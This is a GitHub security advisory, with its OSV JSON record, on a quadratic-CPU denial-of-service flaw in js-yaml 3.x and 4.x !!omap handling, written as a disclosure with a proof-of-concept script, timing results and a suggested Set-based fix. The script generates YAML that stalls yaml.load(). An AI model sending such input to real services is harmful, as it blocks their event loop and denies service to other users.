GHSA-5P4M-2WFM-XMQJ
Vulnerability from github – Published: 2026-08-06 20:27 – Updated: 2026-08-06 20:27Quadratic CPU consumption in !!omap resolution (js-yaml 3.x and 4.x)
Summary
resolveYamlOmap() enforces key uniqueness for !!omap sequences with a linear
scan (objectKeys.indexOf(...)) inside the per-element loop, making resolution
O(n²) in the number of entries. A modestly sized YAML document therefore
consumes disproportionate CPU inside yaml.load(), giving a denial of service
against any consumer that parses untrusted YAML.
!!omap is registered in the default schema
(lib/schema/default.js → require('../type/omap')), so a plain
yaml.load(untrustedInput) with no options is affected — no custom schema or
non-default configuration is required.
This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation.
Affected versions
| Line | Latest tested | Status |
|---|---|---|
| 3.x | 3.15.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:29 |
| 4.x | 4.3.0 | Affected — objectKeys.indexOf(pairKey) at lib/type/omap.js:30 |
| 5.x | 5.2.2 | Not affected — fixed in 5.2.1 (uses a Set) |
Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue.
Details
lib/type/omap.js (js-yaml 4.3.0):
if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false
objectKeys grows by one element per entry, and Array.prototype.indexOf is a
linear scan, so resolving an n-entry !!omap performs roughly
1 + 2 + … + n comparisons — quadratic in n. The work happens synchronously
inside yaml.load(), blocking the event loop for its whole duration.
The 5.x line already solves exactly this by tracking seen keys in a Set
(src/tag/sequence/omap.ts):
if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)
Proof of concept
// poc.js — node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';
for (const n of [10000, 20000, 40000, 80000]) {
const d = doc(n), t = Date.now();
yaml.load(d); // default schema, no options
console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}
Measured (node v20.20.2, default heap, no flags)
js-yaml 4.3.0
n=10000 bytes=137787 load=54ms
n=20000 bytes=297787 load=169ms
n=40000 bytes=617787 load=646ms
n=80000 bytes=1257787 load=2607ms
js-yaml 3.15.0
n=10000 bytes=137787 load=53ms
n=20000 bytes=297787 load=166ms
n=40000 bytes=617787 load=641ms
n=80000 bytes=1257787 load=2567ms
Runtime grows by a factor of ~4 for each doubling of n, which is the
signature of O(n²) (linear growth would be ~2×).
Scaling further: a 2.48 MB document with 150,000 entries blocked
yaml.load() for 10.8 seconds.
Impact
Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request.
Suggested severity: consistent with CVE-2026-59870 (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required.
Suggested fix
Mirror the 5.x fix — replace the linear scan with a Set:
// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)
This preserves the existing duplicate-key rejection semantics exactly while
making resolution O(n). A maxOmapLength-style cap would also work, but the
Set matches what 5.x already ships and requires no new option.
References
- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1
lib/type/omap.js(3.x, 4.x) — the affected resolverlib/schema/default.js— registers!!omapin the default schema
Discovery
Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the current releases of each line, not on the version originally scanned.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.3.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T20:27:32Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)\n\n## Summary\n\n`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear\nscan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution\n**O(n\u00b2)** in the number of entries. A modestly sized YAML document therefore\nconsumes disproportionate CPU inside `yaml.load()`, giving a denial of service\nagainst any consumer that parses untrusted YAML.\n\n`!!omap` is registered in the **default schema**\n(`lib/schema/default.js` \u2192 `require(\u0027../type/omap\u0027)`), so a plain\n`yaml.load(untrustedInput)` with no options is affected \u2014 no custom schema or\nnon-default configuration is required.\n\n**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was\nfixed in the 5.x line in 5.2.1. That fix was never backported: both currently\nmaintained legacy lines still carry the original implementation.\n\n## Affected versions\n\n| Line | Latest tested | Status |\n|---|---|---|\n| 3.x | **3.15.0** | Affected \u2014 `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` |\n| 4.x | **4.3.0** | Affected \u2014 `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` |\n| 5.x | 5.2.2 | **Not affected** \u2014 fixed in 5.2.1 (uses a `Set`) |\n\nBoth figures are the newest release of each line at the time of writing, so\nthis is not a \"you are on an old version\" issue.\n\n## Details\n\n`lib/type/omap.js` (js-yaml 4.3.0):\n\n```js\nif (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)\nelse return false\n```\n\n`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a\nlinear scan, so resolving an `n`-entry `!!omap` performs roughly\n`1 + 2 + \u2026 + n` comparisons \u2014 quadratic in `n`. The work happens synchronously\ninside `yaml.load()`, blocking the event loop for its whole duration.\n\nThe 5.x line already solves exactly this by tracking seen keys in a `Set`\n(`src/tag/sequence/omap.ts`):\n\n```ts\nif (carrier.seen.has(key)) return \u0027duplicate key in ordered map\u0027\ncarrier.seen.add(key)\n```\n\n## Proof of concept\n\n```js\n// poc.js \u2014 node poc.js\nconst yaml = require(\u0027js-yaml\u0027);\nconst doc = n =\u003e \u0027!!omap\\n\u0027 + Array.from({length: n}, (_, i) =\u003e `- k${i}: ${i}`).join(\u0027\\n\u0027) + \u0027\\n\u0027;\n\nfor (const n of [10000, 20000, 40000, 80000]) {\n const d = doc(n), t = Date.now();\n yaml.load(d); // default schema, no options\n console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);\n}\n```\n\n### Measured (node v20.20.2, default heap, no flags)\n\n**js-yaml 4.3.0**\n\n```\nn=10000 bytes=137787 load=54ms\nn=20000 bytes=297787 load=169ms\nn=40000 bytes=617787 load=646ms\nn=80000 bytes=1257787 load=2607ms\n```\n\n**js-yaml 3.15.0**\n\n```\nn=10000 bytes=137787 load=53ms\nn=20000 bytes=297787 load=166ms\nn=40000 bytes=617787 load=641ms\nn=80000 bytes=1257787 load=2567ms\n```\n\nRuntime grows by a factor of ~4 for each doubling of `n`, which is the\nsignature of O(n\u00b2) (linear growth would be ~2\u00d7).\n\nScaling further: a **2.48 MB** document with 150,000 entries blocked\n`yaml.load()` for **10.8 seconds**.\n\n## Impact\n\nAny service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be\nstalled with a small input. Because the loop is synchronous, a single request\nblocks the Node.js event loop and stalls every other request in the process \u2014\nso the amplification is per-process, not just per-request.\n\nSuggested severity: consistent with **CVE-2026-59870** (the same weakness in\n5.x), i.e. Availability-only impact, network attack vector, no privileges or\nuser interaction required.\n\n## Suggested fix\n\nMirror the 5.x fix \u2014 replace the linear scan with a `Set`:\n\n```js\n// lib/type/omap.js\nconst seen = new Set()\n// ...\nif (seen.has(pairKey)) return false\nseen.add(pairKey)\n```\n\nThis preserves the existing duplicate-key rejection semantics exactly while\nmaking resolution O(n). A `maxOmapLength`-style cap would also work, but the\n`Set` matches what 5.x already ships and requires no new option.\n\n## References\n\n- CVE-2026-59870 / GHSA-724g-mxrg-4qvm \u2014 same weakness in 5.0.0\u20135.2.0, fixed in 5.2.1\n- `lib/type/omap.js` (3.x, 4.x) \u2014 the affected resolver\n- `lib/schema/default.js` \u2014 registers `!!omap` in the default schema\n\n## Discovery\n\nFound by an automated static-analysis and executed-proof-of-concept scanner run\nagainst js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by\nexecuting the proof of concept above. All timings in this report were measured\non the **current** releases of each line, not on the version originally scanned.",
"id": "GHSA-5p4m-2wfm-xmqj",
"modified": "2026-08-06T20:27:32Z",
"published": "2026-08-06T20:27:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) \u2014 CVE-2026-59870 fix not backported"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.